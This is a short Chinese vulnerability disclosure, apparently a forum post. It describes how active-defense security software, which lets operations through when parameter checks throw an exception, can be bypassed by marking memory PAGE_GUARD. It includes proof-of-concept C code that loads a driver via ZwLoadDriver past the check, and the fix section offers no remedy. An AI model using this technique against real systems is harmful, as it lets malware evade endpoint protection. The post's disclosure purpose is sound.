|
主动防御类软件在实现上存在一个通用的漏洞,恶意软件可以借此绕过安全检查执行恶意行为
主防会拦截系统的一些关键操作,在这些监控点上做参数检查。因为参数往往来自用户态,所以参数检查的过程是在一个__try里面,防止访问违规造成crash。一般的模式类似如下:
bool bPass = true;
__try
{
bPass = check_paramters(p1,p2,p3); // p为参数
}
__except(1)
{
bPass = true;
}
return (bPass ? status_success : status_access_denied);
上面只是伪代码,意思是对参数进行检查,如果发现有恶意行为,那么返回拒绝,不允许执行。(实际远比这复杂,对参数会经过很多策略检查。结果也不是直接返回,有可能弹框由用户决策)。问题在于,如果访问参数的时候出现异常,那么后续的处理只好放过这个行为。问题就在这里,如果可以让主防访问参数出现异常,但是系统实际使用参数的时候却可以正常,那么主防的检查就被绕过了。这不是不可能,否则就不是漏洞!windows在内存管理上有个独特的地方,叫做PAGE_GUARD。对一段内存空间设置PAGE_GUARD属性后,对这部分内存的首次访问就会出现异常,后续访问则正常。所以,通过利用这个机制,加上对安全软件的检测和试验,上述的漏洞就可以很好的被利用了。
漏洞证明:
pStr = (PUNICODE_STRING)VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT,PAGE_READWRITE);
if(!pStr)
{
_tprintf(_T("Alloc Str Failed\n"));
goto __Cleanup;
}
pStr->Length = (USHORT)(wcslen(SERVICE_PATH) * sizeof(WCHAR));
pStr->MaximumLength = pStr->Length + sizeof(WCHAR);
pStr->Buffer = (PWSTR)(pStr + 1);
wcscpy_s(pStr->Buffer,pStr->MaximumLength / sizeof(WCHAR),p);
//STATUS_SUCCESS
if(!VirtualProtect(pStr,PAGE_SIZE,PAGE_READWRITE | PAGE_GUARD,&dwOldProt))
{
_tprintf(_T("VirtualProtect Failed\n"));
goto __Cleanup;
}
if((status = ZwLoadDriver(pStr)) != 0)
{
_tprintf(_T("ZwLoadDriver Failed status = %x\n"),status);
goto __Cleanup;
}
_tprintf(_T("ZwLoadDriver Successfully\n"));
修复方案:
自己研究...
感谢 newtongao 和 garymao
[/td][/tr]
[/table] |
|